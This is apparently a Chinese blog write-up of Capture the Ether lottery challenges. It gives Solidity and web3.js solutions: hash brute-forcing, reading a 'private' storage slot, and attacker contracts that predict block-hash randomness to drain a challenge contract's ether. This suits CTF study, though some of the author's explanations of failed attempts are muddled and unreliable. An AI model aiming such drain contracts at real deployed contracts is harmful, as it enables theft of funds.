区块链安全

Lotteries类型ctf-01

Guess the number

题目:Guess the number

因为太简单略。

Guess the secret number

题目:Guess the secret number

思路:很简单,就是一个暴力破解。

解答:

pragma solidity ^ 0.4.21;


contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    

    function guess() public returns (uint8) {
        uint8 n;
        for (uint8 i = 1; i <= 255; i++) {
            if (keccak256(i) == answerHash) {
                n = i;
                break;
            }
        }
        return n;
    }
}

Guess the random number

题目:Guess the random number

合约创建交易:https://ropsten.etherscan.io/tx/0xefe7f536a75dbe2db844f3e5d380dfcc538b2b2f6ada883ed7db312029037976

创建的合约为:
https://ropsten.etherscan.io/address/0xad9f957f54026dbd13c04d43d8b3ec72d358fc45

参考我经常反复看的一个资料 区块链 ctf wiki 里面的内容:

可见性:

由于以太坊上的所有信息都是公开的,所以即使一个变量被声明为 private,我们仍能读到变量的具体值。
利用 web3 提供的 web3.eth.getStorageAt() 方法,可以读取一个以太坊地址上指定位置的存储内容。所以只要计算出了一个变量对应的插槽位置,就可以通过调用该函数来获得该变量的具体值。

调用:

// web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0)
.then(console.log);
> "0x033456732123ffff2342342dd12342434324234234fd234fd23fd4f23d4234"

参数:

  • address:String – 要读取的地址
  • position:Number – 存储中的索引编号
  • defaultBlock:Number|String – 可选,使用该参数覆盖 web3.eth.defaultBlock 属性值
  • callback:Function – 可选的回调函数, 其第一个参数为错误对象,第二个参数为结果。
pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

answer 参数存放在 slot 0 的位置。于是写了个 js 文件去读取:

const Web3 = require('web3')
const web3 = new Web3(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/[your-key]"));
console.log(web3.eth.getStorageAt("0xAd9f957f54026dbd13c04D43d8b3Ec72D358Fc45", 0))

最后得出 answer 为 35。

然后来说下直接计算的问题:

function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

这个时间跟我用 web3.js 计算的一致:

const Web3 = require('web3')
const web3 = new Web3(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/[your-key]"));

var blockNumber = web3.eth.getTransaction("0xefe7f536a75dbe2db844f3e5d380dfcc538b2b2f6ada883ed7db312029037976").blockNumber;
var info = web3.eth.getBlock(blockNumber);
console.log(info.timestamp);

要注意,交易没有 timestamp 属性,只有区块有。因为区块里面的所有交易都是一样的 timestamp。

但是如果用这个 timestamp 和 blockNumber 带进去计算发现结果不对:

pragma solidity ^ 0.4.21;

contract GuessTheSecretNumberChallenge {
    function guess() public view returns (uint8) {
        uint8 answer = uint8(keccak256(block.blockhash(11794984 - 1), uint32(1641907794)));  
        return answer;
    }
}

算出来是 253。可能这里的 now 不是交易的时间。

Guess the new number

题目:Guess the new number

1 pragma solidity ^0.4.21;
2
3 contract GuessTheNewNumberChallenge {
4     function GuessTheNewNumberChallenge() public payable {
5         require(msg.value == 1 ether);
6     }
7
8     function isComplete() public view returns (bool) {
9         return address(this).balance == 0;
10    }
11
12    function guess(uint8 n) public payable {
13        require(msg.value == 1 ether);
14        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
15
16        if (n == answer) {
17            msg.sender.transfer(2 ether);
18        }
19    }
20}

这个题目跟上一个题目的区别是:answer 变成了一个随机变量。每一次调用都不一样。当然,这样我们就无法在每一次调用之前提前预测区块号和now的值(区块 timestamp)了。

但是如果我们写一个新的合约来调用此合约,就叫做代理合约吧。代理合约中可以执行13行的转帐操作、14行的计算 answer 操作,17 行的转出操作,这几个操作可以在一个交易中执行。这样就是可以直接获得猜测出的 answer 了。

并且注意,我们还需要一个回调函数,在 guess 执行成功的时候转入 2 ether 时候执行,里面要实现将此合约的余额转入到 msg.sender 的功能。

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}



contract POC1 {
    GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0x246e7516516c45BE4f6D291dA4616B9A0eFb90D8);

    function() public payable {
        tx.origin.transfer(address(this).balance);
    }

    function attack() external {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        _GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
    }
}

上面的合约执行失败了,是因为 attack 没有设为 payable,因为为了去调用 guess 函数,是需要每次转入 1 ether 的,所以需要给 attack 函数设为 payable 才能往里面打钱。

然后改成下面这样,还是执行失败:

//...

contract POC1 {
    GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0x246e7516516c45BE4f6D291dA4616B9A0eFb90D8);

    function() public payable {
        tx.origin.transfer(address(this).balance);
    }


    function attack() external payable {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        _GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
    }
}

悟了,因为本身没钱,但是当前合约执行 fallback 回调函数要手续费。所以就会失败。所以改进之后有以下两种解法:

方法1:

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}



contract POC1 {
    GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0x246e7516516c45BE4f6D291dA4616B9A0eFb90D8);

    function() public payable {
        //tx.origin.transfer(address(this).balance);
    }

    function withdraw() external{
        msg.sender.transfer(address(this).balance);
    }

    function attack() external payable {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        _GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
    }
}
  1. step 1 : attack value:1 ether
  2. step 2 : withdraw

方法2:

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}



contract POC1 {
    GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0xb7D99cF0D6749df744cAD923C824833Ea6fE5E57);

    function() public payable {
        //tx.origin.transfer(address(this).balance);
    }

    function kill() external{
        selfdestruct(msg.sender);
    }

    function attack() external payable {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        _GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
    }
}
  1. step1 : attack 1 ether
  2. step 2: kill

上述两种方法的区别仅仅在于怎么从代理合约转钱给 msg.sender。

然后我又想到了,之前之所以失败,不是因为 msg.sender 没有钱当作转出的 gas 吗,然后开始了第三次尝试:

尝试3:

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}



contract POC1 {
    GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0x1c98c44fF15821A5bbAcdAa6Ea2A9aF481Fbc58D);

    function POC1() public payable {
        require(msg.value == 0.2 ether);
    }


    function() public payable {
        tx.origin.transfer(address(this).balance);
    }
    


    function attack() external payable {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        _GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
    }
}

交易记录于:https://ropsten.etherscan.io/address/0x5D407cf744801b915E87eF8FFa1C77C653DEaf52

但是你肯定发现了,还是失败的,此路不通。因为不管余额多少,转出时候都是没有手续费的。
而且更糟糕的是:因为没有定义 withdraw 函数。无法取出存入的钱了。

方法3:

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}



contract POC1 {
    GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0x9ca374E1480A888c3A5a3f3A67c1C672aDD57Eaf);

    function() public payable {}
    

    function attack() external payable {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        _GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
        tx.origin.transfer(address(this).balance);
    }
}

发现自己真的是太蠢了。这是对尝试3做了修改之后就成功了,区别就是我们如果在 attack 方法里面将代理合约的余额转入 msg.sender,那么是一开始的 msg.sender 支付的此次转账的 gas。如下图,中间隐式的调用了回调函数给代理合约转入了钱,这丝毫不影响下一步 transfer 的执行: